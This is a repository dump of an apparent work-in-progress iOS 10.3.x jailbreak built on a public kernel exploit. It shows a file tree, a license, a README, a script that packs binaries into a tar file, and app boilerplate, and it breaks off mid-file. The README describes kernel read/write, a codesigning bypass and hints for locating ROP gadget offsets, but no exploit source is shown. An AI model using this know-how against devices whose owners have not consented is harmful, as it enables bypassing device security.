├── .DS_Store ├── .gitignore ├── LISCENSE.md ├── README.md ├── binCreation ├── .DS_Store ├── bins │ ├── ar │ ├── awk │ ├── base64 │ ├── basename │ ├── bash │ ├── bunzip2 │ ├── busybox │ ├── bzcat │ ├── bzip2 │ ├── cat │ ├── chgrp │ ├── chmod │ ├── chown │ ├── cmp │ ├── cp │ ├── cut │ ├── date │ ├── dd │ ├── df │ ├── diff │ ├── dirname │ ├── dpkg │ ├── dpkg-deb │ ├── dropbearkey │ ├── dropbearmulti │ ├── du │ ├── echo │ ├── egrep │ ├── expand │ ├── expr │ ├── fgrep │ ├── find │ ├── grep │ ├── groups │ ├── gunzip │ ├── gzip │ ├── head │ ├── id │ ├── install │ ├── kill │ ├── ln │ ├── ls │ ├── lzcat │ ├── lzma │ ├── md5sum │ ├── mkdir │ ├── mktemp │ ├── more │ ├── mv │ ├── od │ ├── patch │ ├── ping │ ├── printf │ ├── readlink │ ├── rm │ ├── rmdir │ ├── run-parts │ ├── scp │ ├── sed │ ├── seq │ ├── sh │ ├── sha1sum │ ├── sleep │ ├── sort │ ├── split │ ├── ssh │ ├── strings │ ├── sync │ ├── tac │ ├── tail │ ├── tar │ ├── tee │ ├── touch │ ├── tr │ ├── uicache │ ├── uname │ ├── unexpand │ ├── uniq │ ├── unlzma │ ├── unzip │ ├── vim │ ├── wc │ ├── wget │ ├── which │ ├── whoami │ ├── xargs │ ├── yes │ └── zcat ├── bootstrap.tar └── packBins.sh ├── v0rtex-S ├── AppDelegate.h ├── AppDelegate.m ├── Assets.xcassets │ └── AppIcon.appiconset │ │ ├── Contents.json │ │ ├── ipad.png │ │ ├── ipad@2x.png │ │ ├── iphone@2x.png │ │ └── iphone@3x.png ├── Base.lproj │ ├── LaunchScreen.storyboard │ └── Main.storyboard ├── Info.plist ├── ViewController.h ├── ViewController.m ├── amfi.h ├── amfi.m ├── bash ├── bootstrap-orig.tar ├── bootstrap.tar ├── common.h ├── dropbear ├── dropbear.plist ├── kernel.h ├── kernel.m ├── launchctl ├── libjb.a ├── libjb.h ├── main.m ├── patchfinder64.c ├── patchfinder64.h ├── root-rw.h ├── root-rw.m ├── symbols.h ├── symbols.m ├── tar ├── v0rtex.h └── v0rtex.m └── v0rtex-s.xcodeproj ├── project.pbxproj └── project.xcworkspace └── contents.xcworkspacedata /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/.DS_Store -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | xcuserdata/ 2 | docs/ 3 | kernels/ 4 | icons/ 5 | 6 | ## Ignore Visual Studio temporary files, build results, and 7 | ## files generated by popular Visual Studio add-ins. 8 | 9 | # Build output 10 | [Bb]in/ 11 | [Dd]ebug/ 12 | [Dd]ebugPublic/ 13 | [Oo]bj/ 14 | [Rr]elease/ 15 | [Rr]eleases/ 16 | build/ 17 | bld/ 18 | x64/ 19 | x86/ 20 | Oxide.Ext.Discord/bin 21 | Oxide.Ext.Discord/obj 22 | 23 | # Build testing 24 | ## MSTest 25 | [Tt]est[Rr]esult*/ 26 | [Bb]uild[Ll]og.* 27 | ## NUnit 28 | *.VisualState.xml 29 | TestResult.xml 30 | 31 | # NuGet packages 32 | *.nupkg 33 | **/packages/* 34 | !**/packages/build/ 35 | !**/packages/repositories.config 36 | 37 | # OS-specific files 38 | .*DS_Store 39 | 40 | # Project-specific files 41 | !**/Dependencies/x64/ 42 | !**/Dependencies/x86/ 43 | !**/Dependencies/Linux/x64/ 44 | !**/Dependencies/Linux/x86/ 45 | Bundles/ 46 | .deploy 47 | 48 | # Roslyn caches 49 | *.ide/ 50 | 51 | # User-specific files 52 | .idea/ 53 | *.sln.docstates 54 | *.suo 55 | *.user 56 | *.userosscache 57 | *.userprefs 58 | 59 | # Visual C++ cache files 60 | ipch/ 61 | *.aps 62 | *.ncb 63 | *.opensdf 64 | *.sdf 65 | *.cachefile 66 | 67 | # Visual Studio 68 | .vs/ 69 | *.psess 70 | *.vsp 71 | *.vspx 72 | 73 | # Visual Studio add-ins 74 | ## DotCover code coverage tool 75 | *.dotCover 76 | ## JustCode add-in 77 | .JustCode 78 | ## ReSharper add-in 79 | _ReSharper*/ 80 | *.[Rr]e[Ss]harper 81 | *.DotSettings.user 82 | ## TeamCity add-in 83 | _TeamCity* 84 | *.StyleCop 85 | *.Cache 86 | -------------------------------------------------------------------------------- /LISCENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Ben Sparkes 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | 23 | Also, credit me. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # v0rtex-S 2 | 3 | A work in progress jailbreak, using Siguza's [v0rtex](https://github.com/Siguza/v0rtex) kernel exploit. 4 | 5 | Currently, we have: 6 | - r/w kernel access 7 | - r/w on '/' (root dir, aka disks1s1) 8 | - AMFI/codesigning patch, hence the ability to run unsigned code 9 | - SSH access (with included binaries) 10 | 11 | Fat creds to stek on the r/w and amfi stuff, and originally xerub too. 12 | 13 | Thanks to EthanRDoesMC for the logo, Sigzua for the exploit, xerub for libjb, and cheesecakeufo for help with entitlements. 14 | Please let me know if you believe I have used your work without appropriate creditation; I will ensure to fix it immediately. 15 | 16 | ### Offsets 17 | 18 | Offsets are currently WIP. We will be updating with new offsets for as many devices as possible ASAP. 19 | 20 | The offsets used are for iPhone 7 on iOS 10.3.1 and must be changed if that's not what you're using. 21 | 22 | Offsets for iPhone 6S (iPhone8,1) 10.3.2 are also included, however you will have to be a big boy and switch them out yourself in the v0rtex.m file. 23 | 24 | To find your own offsets read [this guide](https://gist.github.com/uroboro/5b2b2b2aa1793132c4e91826ce844957). 25 | 26 | There are a few new offsets you will need to find: 27 | 28 | **OFFSET_ROOT_MOUNT_V_NODE**: ```nm | grep -E " _rootvnode$"``` 29 | 30 | **OFFSET_CHGPROCCNT**: This offset references the string ```"chgproccnt: lost user"``` 31 | 32 | **OFFSET_ROP_LDR_X0_X0_0x10**: Simply search for ```000840f9c0035fd6``` in hex. 33 | 34 | **OFFSET_KAUTH_CRED_REF**: This can be found in the symbols table ```nm | grep kauth_cred_ref``` 35 | 36 | ### Requirements 37 | 38 | Xcode and a device running iOS 10.3.x. 39 | -------------------------------------------------------------------------------- /binCreation/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/.DS_Store -------------------------------------------------------------------------------- /binCreation/bins/ar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/ar -------------------------------------------------------------------------------- /binCreation/bins/awk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/awk -------------------------------------------------------------------------------- /binCreation/bins/base64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/base64 -------------------------------------------------------------------------------- /binCreation/bins/basename: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/basename -------------------------------------------------------------------------------- /binCreation/bins/bash: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/bash -------------------------------------------------------------------------------- /binCreation/bins/bunzip2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/bunzip2 -------------------------------------------------------------------------------- /binCreation/bins/busybox: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/busybox -------------------------------------------------------------------------------- /binCreation/bins/bzcat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/bzcat -------------------------------------------------------------------------------- /binCreation/bins/bzip2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/bzip2 -------------------------------------------------------------------------------- /binCreation/bins/cat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/cat -------------------------------------------------------------------------------- /binCreation/bins/chgrp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/chgrp -------------------------------------------------------------------------------- /binCreation/bins/chmod: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/chmod -------------------------------------------------------------------------------- /binCreation/bins/chown: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/chown -------------------------------------------------------------------------------- /binCreation/bins/cmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/cmp -------------------------------------------------------------------------------- /binCreation/bins/cp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/cp -------------------------------------------------------------------------------- /binCreation/bins/cut: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/cut -------------------------------------------------------------------------------- /binCreation/bins/date: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/date -------------------------------------------------------------------------------- /binCreation/bins/dd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/dd -------------------------------------------------------------------------------- /binCreation/bins/df: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/df -------------------------------------------------------------------------------- /binCreation/bins/diff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/diff -------------------------------------------------------------------------------- /binCreation/bins/dirname: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/dirname -------------------------------------------------------------------------------- /binCreation/bins/dpkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/dpkg -------------------------------------------------------------------------------- /binCreation/bins/dpkg-deb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/dpkg-deb -------------------------------------------------------------------------------- /binCreation/bins/dropbearkey: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/dropbearkey -------------------------------------------------------------------------------- /binCreation/bins/dropbearmulti: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/dropbearmulti -------------------------------------------------------------------------------- /binCreation/bins/du: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/du -------------------------------------------------------------------------------- /binCreation/bins/echo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/echo -------------------------------------------------------------------------------- /binCreation/bins/egrep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/egrep -------------------------------------------------------------------------------- /binCreation/bins/expand: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/expand -------------------------------------------------------------------------------- /binCreation/bins/expr: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/expr -------------------------------------------------------------------------------- /binCreation/bins/fgrep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/fgrep -------------------------------------------------------------------------------- /binCreation/bins/find: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/find -------------------------------------------------------------------------------- /binCreation/bins/grep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/grep -------------------------------------------------------------------------------- /binCreation/bins/groups: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/groups -------------------------------------------------------------------------------- /binCreation/bins/gunzip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/gunzip -------------------------------------------------------------------------------- /binCreation/bins/gzip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/gzip -------------------------------------------------------------------------------- /binCreation/bins/head: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/head -------------------------------------------------------------------------------- /binCreation/bins/id: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/id -------------------------------------------------------------------------------- /binCreation/bins/install: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/install -------------------------------------------------------------------------------- /binCreation/bins/kill: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/kill -------------------------------------------------------------------------------- /binCreation/bins/ln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/ln -------------------------------------------------------------------------------- /binCreation/bins/ls: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/ls -------------------------------------------------------------------------------- /binCreation/bins/lzcat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/lzcat -------------------------------------------------------------------------------- /binCreation/bins/lzma: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/lzma -------------------------------------------------------------------------------- /binCreation/bins/md5sum: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/md5sum -------------------------------------------------------------------------------- /binCreation/bins/mkdir: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/mkdir -------------------------------------------------------------------------------- /binCreation/bins/mktemp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/mktemp -------------------------------------------------------------------------------- /binCreation/bins/more: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/more -------------------------------------------------------------------------------- /binCreation/bins/mv: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/mv -------------------------------------------------------------------------------- /binCreation/bins/od: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/od -------------------------------------------------------------------------------- /binCreation/bins/patch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/patch -------------------------------------------------------------------------------- /binCreation/bins/ping: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/ping -------------------------------------------------------------------------------- /binCreation/bins/printf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/printf -------------------------------------------------------------------------------- /binCreation/bins/readlink: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/readlink -------------------------------------------------------------------------------- /binCreation/bins/rm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/rm -------------------------------------------------------------------------------- /binCreation/bins/rmdir: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/rmdir -------------------------------------------------------------------------------- /binCreation/bins/run-parts: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/run-parts -------------------------------------------------------------------------------- /binCreation/bins/scp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/scp -------------------------------------------------------------------------------- /binCreation/bins/sed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/sed -------------------------------------------------------------------------------- /binCreation/bins/seq: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/seq -------------------------------------------------------------------------------- /binCreation/bins/sh: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/sh -------------------------------------------------------------------------------- /binCreation/bins/sha1sum: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/sha1sum -------------------------------------------------------------------------------- /binCreation/bins/sleep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/sleep -------------------------------------------------------------------------------- /binCreation/bins/sort: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/sort -------------------------------------------------------------------------------- /binCreation/bins/split: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/split -------------------------------------------------------------------------------- /binCreation/bins/ssh: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/ssh -------------------------------------------------------------------------------- /binCreation/bins/strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/strings -------------------------------------------------------------------------------- /binCreation/bins/sync: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/sync -------------------------------------------------------------------------------- /binCreation/bins/tac: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/tac -------------------------------------------------------------------------------- /binCreation/bins/tail: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/tail -------------------------------------------------------------------------------- /binCreation/bins/tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/tar -------------------------------------------------------------------------------- /binCreation/bins/tee: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/tee -------------------------------------------------------------------------------- /binCreation/bins/touch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/touch -------------------------------------------------------------------------------- /binCreation/bins/tr: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/tr -------------------------------------------------------------------------------- /binCreation/bins/uicache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/uicache -------------------------------------------------------------------------------- /binCreation/bins/uname: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/uname -------------------------------------------------------------------------------- /binCreation/bins/unexpand: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/unexpand -------------------------------------------------------------------------------- /binCreation/bins/uniq: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/uniq -------------------------------------------------------------------------------- /binCreation/bins/unlzma: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/unlzma -------------------------------------------------------------------------------- /binCreation/bins/unzip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/unzip -------------------------------------------------------------------------------- /binCreation/bins/vim: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/vim -------------------------------------------------------------------------------- /binCreation/bins/wc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/wc -------------------------------------------------------------------------------- /binCreation/bins/wget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/wget -------------------------------------------------------------------------------- /binCreation/bins/which: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/which -------------------------------------------------------------------------------- /binCreation/bins/whoami: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/whoami -------------------------------------------------------------------------------- /binCreation/bins/xargs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/xargs -------------------------------------------------------------------------------- /binCreation/bins/yes: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/yes -------------------------------------------------------------------------------- /binCreation/bins/zcat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bins/zcat -------------------------------------------------------------------------------- /binCreation/bootstrap.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PsychoTea/v0rtex-S/a1e6a1c019a1c4689739ca9dc9781c0cc36a3b58/binCreation/bootstrap.tar -------------------------------------------------------------------------------- /binCreation/packBins.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | currDir=$(dirname $0) 4 | 5 | echo "Found current dir: $currDir" 6 | 7 | binCount=$(ls -1q $currDir/bins | wc -l | sed -e 's/^[ `t]*//') 8 | 9 | echo "Found $binCount bins" 10 | 11 | echo "Giving all bins correct permissions (755)..." 12 | 13 | for file in $currDir/bins/* 14 | do 15 | chmod 755 $file 16 | done 17 | 18 | echo "Packing the binpack..." 19 | 20 | cd $currDir 21 | tar -cf bootstrap.tar ./bins/* 22 | 23 | echo "Packed $binCount bins from $currDir/bins into $currDir/bootstrap.tar!" 24 | 25 | echo "Please copy the bootstrap.tar file into the Xcode project!" 26 | -------------------------------------------------------------------------------- /v0rtex-S/AppDelegate.h: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.h 3 | // v0rtex 4 | // 5 | // Created by Sticktron on 2017-12-07. 6 | // Copyright © 2017 Sticktron. All rights reserved. 7 | // 8 | 9 | #import 10 | 11 | @interface AppDelegate : UIResponder 12 | 13 | @property (strong, nonatomic) UIWindow *window; 14 | 15 | 16 | @end 17 | 18 | -------------------------------------------------------------------------------- /v0rtex-S/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | // AppDelegate.m 3 | // v0rtex 4 | // 5 | // Created by Sticktron on 2017-12-07. 6 | // Copyright © 2017 Sticktron. All rights reserved. 7 | // 8 | 9 | #import "AppDelegate.h" 10 | 11 | @interface AppDelegate () 12 | 13 | @end 14 | 15 | @implementation AppDelegate 16 | 17 | 18 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { 19 | // Override point for customization after application launch. 20 | return YES; 21 | } 22 | 23 | 24 | - (void)applicationWillResignActive:(UIApplication *)application { 25 | // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. 26 | // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. 27 | } 28 | 29 | 30 | - 